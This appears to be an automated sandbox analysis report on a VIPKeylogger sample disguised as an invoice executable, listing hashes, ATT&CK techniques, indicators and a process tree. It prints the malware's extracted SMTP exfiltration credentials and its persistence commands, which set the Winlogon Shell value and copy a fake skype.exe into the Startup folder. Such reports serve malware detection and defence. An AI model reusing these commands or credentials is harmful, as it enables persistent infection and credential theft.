vipkeylogger | 68765775002699ff32978e8cd956899391b045e273cf944cba0a4c13af820d18

Analysis

max time kernel
150s
max time network
155s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
18/02/2025, 12:03

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General

Target

rpaidInvoice.exe
Size

843KB
MD5

aeabfd0534b39c526c6617466af1d780
SHA1

7ffff117692cbcdeec136abd9bd7b15813d3ca35
SHA256

68765775002699ff32978e8cd956899391b045e273cf944cba0a4c13af820d18
SHA512

b7edcbda504deb93cfe9907eaf961dba3daf429e8d7f0442d6beab1e5741ced5810ba408d0787ef95e2a0d6b6169c4793223a05483b9c4c2c79540593c16010f
SSDEEP

12288:ROovHlb/a13/KiTO5rry72+QwfgivOKFd01e0B:RZle1vHTO5r9Cl0B

Score

10^/10

vipkeylogger discovery keylogger persistence stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
uniform.gr
Port:
587
Username:
[email protected]
Password:
qkTHtoV5%]8%
Email To:
[email protected]

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\skype\\skype.exe,"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\skype\\skype.exe,"	reg.exe

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2908	skype.exe

Loads dropped DLL 2 IoCs

pid	Process
752	cmd.exe
752	cmd.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	checkip.dyndns.org
8	reallyfreegeoip.org
9	reallyfreegeoip.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2908 set thread context of 2200	2908	skype.exe	44

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skype.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpaidInvoice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skype.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 7 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2844	cmd.exe
2072	PING.EXE
2248	cmd.exe
328	PING.EXE
752	cmd.exe
2316	PING.EXE
1704	PING.EXE

Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery

T1018

pid	Process
328	PING.EXE
2316	PING.EXE
1704	PING.EXE
2072	PING.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2296	rpaidInvoice.exe
2296	rpaidInvoice.exe
2912	skype.exe
2912	skype.exe
2912	skype.exe
2912	skype.exe
2908	skype.exe
2908	skype.exe
2908	skype.exe
2908	skype.exe
2908	skype.exe
2200	InstallUtil.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2296	rpaidInvoice.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2296	rpaidInvoice.exe
Token: SeDebugPrivilege	2912	skype.exe
Token: SeDebugPrivilege	2908	skype.exe
Token: SeDebugPrivilege	2200	InstallUtil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 2844	2296	rpaidInvoice.exe	29
PID 2296 wrote to memory of 2844	2296	rpaidInvoice.exe	29
PID 2296 wrote to memory of 2844	2296	rpaidInvoice.exe	29
PID 2296 wrote to memory of 2844	2296	rpaidInvoice.exe	29
PID 2844 wrote to memory of 2072	2844	cmd.exe	31
PID 2844 wrote to memory of 2072	2844	cmd.exe	31
PID 2844 wrote to memory of 2072	2844	cmd.exe	31
PID 2844 wrote to memory of 2072	2844	cmd.exe	31
PID 2296 wrote to memory of 2912	2296	rpaidInvoice.exe	32
PID 2296 wrote to memory of 2912	2296	rpaidInvoice.exe	32
PID 2296 wrote to memory of 2912	2296	rpaidInvoice.exe	32
PID 2296 wrote to memory of 2912	2296	rpaidInvoice.exe	32
PID 2912 wrote to memory of 2248	2912	skype.exe	33
PID 2912 wrote to memory of 2248	2912	skype.exe	33
PID 2912 wrote to memory of 2248	2912	skype.exe	33
PID 2912 wrote to memory of 2248	2912	skype.exe	33
PID 2248 wrote to memory of 328	2248	cmd.exe	35
PID 2248 wrote to memory of 328	2248	cmd.exe	35
PID 2248 wrote to memory of 328	2248	cmd.exe	35
PID 2248 wrote to memory of 328	2248	cmd.exe	35
PID 2844 wrote to memory of 2080	2844	cmd.exe	36
PID 2844 wrote to memory of 2080	2844	cmd.exe	36
PID 2844 wrote to memory of 2080	2844	cmd.exe	36
PID 2844 wrote to memory of 2080	2844	cmd.exe	36
PID 2912 wrote to memory of 752	2912	skype.exe	37
PID 2912 wrote to memory of 752	2912	skype.exe	37
PID 2912 wrote to memory of 752	2912	skype.exe	37
PID 2912 wrote to memory of 752	2912	skype.exe	37
PID 752 wrote to memory of 2316	752	cmd.exe	39
PID 752 wrote to memory of 2316	752	cmd.exe	39
PID 752 wrote to memory of 2316	752	cmd.exe	39
PID 752 wrote to memory of 2316	752	cmd.exe	39
PID 2248 wrote to memory of 2784	2248	cmd.exe	40
PID 2248 wrote to memory of 2784	2248	cmd.exe	40
PID 2248 wrote to memory of 2784	2248	cmd.exe	40
PID 2248 wrote to memory of 2784	2248	cmd.exe	40
PID 752 wrote to memory of 1704	752	cmd.exe	41
PID 752 wrote to memory of 1704	752	cmd.exe	41
PID 752 wrote to memory of 1704	752	cmd.exe	41
PID 752 wrote to memory of 1704	752	cmd.exe	41
PID 752 wrote to memory of 2908	752	cmd.exe	42
PID 752 wrote to memory of 2908	752	cmd.exe	42
PID 752 wrote to memory of 2908	752	cmd.exe	42
PID 752 wrote to memory of 2908	752	cmd.exe	42
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2076	2908	skype.exe	43
PID 2908 wrote to memory of 2200	2908	skype.exe	44
PID 2908 wrote to memory of 2200	2908	skype.exe	44
PID 2908 wrote to memory of 2200	2908	skype.exe	44
PID 2908 wrote to memory of 2200	2908	skype.exe	44
PID 2908 wrote to memory of 2200	2908	skype.exe	44
PID 2908 wrote to memory of 2200	2908	skype.exe	44
PID 2908 wrote to memory of 2200	2908	skype.exe	44
PID 2908 wrote to memory of 2200	2908	skype.exe	44

C:\Users\Admin\AppData\Local\Temp\rpaidInvoice.exe
"C:\Users\Admin\AppData\Local\Temp\rpaidInvoice.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c ping 127.0.0.1 -n 19 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe,"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 19
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2072
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe,"
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:2080
- C:\Users\Admin\AppData\Local\Temp\skype.exe
  "C:\Users\Admin\AppData\Local\Temp\skype.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c ping 127.0.0.1 -n 17 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe,"
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2248
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 17
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:328
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe,"
      4⤵
      Modifies WinLogon for persistence
      System Location Discovery: System Language Discovery
      PID:2784
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c ping 127.0.0.1 -n 18 > nul && copy "C:\Users\Admin\AppData\Local\Temp\skype.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe" && ping 127.0.0.1 -n 18 > nul && "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe"
    3⤵
    - Drops startup file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:752
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 18
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2316
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 18
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1704
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2908
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:2076
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skype\skype.exe

Filesize
843KB

MD5
aeabfd0534b39c526c6617466af1d780

SHA1
7ffff117692cbcdeec136abd9bd7b15813d3ca35

SHA256
68765775002699ff32978e8cd956899391b045e273cf944cba0a4c13af820d18

SHA512
b7edcbda504deb93cfe9907eaf961dba3daf429e8d7f0442d6beab1e5741ced5810ba408d0787ef95e2a0d6b6169c4793223a05483b9c4c2c79540593c16010f

Download Submit
memory/2076-31-0x0000000000090000-0x00000000000DA000-memory.dmp

Filesize
296KB

Download
memory/2076-35-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2076-33-0x0000000000090000-0x00000000000DA000-memory.dmp

Filesize
296KB

Download
memory/2076-29-0x0000000000090000-0x00000000000DA000-memory.dmp

Filesize
296KB

Download
memory/2076-27-0x0000000000090000-0x00000000000DA000-memory.dmp

Filesize
296KB

Download
memory/2200-47-0x0000000000400000-0x000000000044A000-memory.dmp

Filesize
296KB

Download
memory/2200-46-0x0000000000400000-0x000000000044A000-memory.dmp

Filesize
296KB

Download
memory/2200-45-0x0000000000400000-0x000000000044A000-memory.dmp

Filesize
296KB

Download
memory/2200-44-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2296-6-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/2296-4-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/2296-1-0x0000000001150000-0x0000000001228000-memory.dmp

Filesize
864KB

Download
memory/2296-2-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/2296-3-0x00000000005D0000-0x0000000000612000-memory.dmp

Filesize
264KB

Download
memory/2296-5-0x000000007430E000-0x000000007430F000-memory.dmp

Filesize
4KB

Download
memory/2296-0-0x000000007430E000-0x000000007430F000-memory.dmp

Filesize
4KB

Download
memory/2296-7-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/2296-8-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/2908-26-0x00000000004C0000-0x00000000004C6000-memory.dmp

Filesize
24KB

Download
memory/2908-25-0x0000000004FC0000-0x0000000004FDA000-memory.dmp

Filesize
104KB

Download
memory/2908-24-0x00000000010C0000-0x0000000001198000-memory.dmp

Filesize
864KB

Download
memory/2912-9-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/2912-11-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/2912-10-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/2912-13-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/2912-12-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download